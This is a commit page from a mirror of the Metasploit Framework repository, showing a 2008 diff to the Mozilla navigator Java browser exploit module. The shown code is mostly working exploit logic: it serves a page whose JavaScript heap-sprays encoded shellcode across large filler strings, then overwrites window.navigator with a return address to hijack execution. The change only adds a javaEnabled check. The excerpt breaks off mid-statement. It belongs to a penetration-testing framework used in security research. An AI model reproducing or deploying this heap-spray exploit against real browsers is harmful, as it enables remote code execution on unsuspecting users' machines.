infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

don't hang the browser building the exploit buffer if we can't exploit it 

git-svn-id: file:///home/svn/framework3/trunk@5558 4d416f70-5f16-0410-b530-b9f4589650da
unstable
James Lee 2008-07-19 05:03:01 +00:00
parent 9b3c8e2d72
commit a0a203fba7
1 changed files with 14 additions and 16 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

30
modules/exploits/multi/browser/mozilla_navigatorjava.rb
View File

@ -90,7 +90,7 @@ class Exploits::Multi::Browser::Mozilla_NavigatorJava < Msf::Exploit::Remote
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
# Handle the payload
@ -105,22 +105,20 @@ class Exploits::Multi::Browser::Mozilla_NavigatorJava < Msf::Exploit::Remote
<html><head>
<script>
function Exploit() {
var shellcode = unescape("#{enc_code}");
var b = unescape("#{target['Fill']}");
while (b.length <= 0x400000) b+=b;
var c = new Array();
for (var i =0; i<36; i++) {
c[i] =
b.substring(0, 0x100000 - shellcode.length) + shellcode +
b.substring(0, 0x100000 - shellcode.length) + shellcode +
b.substring(0, 0x100000 - shellcode.length) + shellcode +
b.substring(0, 0x100000 - shellcode.length) + shellcode;
}
if (window.navigator.javaEnabled) {
var shellcode = unescape("#{enc_code}");
var b = unescape("#{target['Fill']}");
while (b.length <= 0x400000) b+=b;
var c = new Array();
for (var i =0; i<36; i++) {
c[i] =
b.substring(0, 0x100000 - shellcode.length) + shellcode +
b.substring(0, 0x100000 - shellcode.length) + shellcode +
b.substring(0, 0x100000 - shellcode.length) + shellcode +
b.substring(0, 0x100000 - shellcode.length) + shellcode;
}
window.navigator = (#{target['Ret']} / 2);
try {
java.lang.reflect.Runtime.newInstance(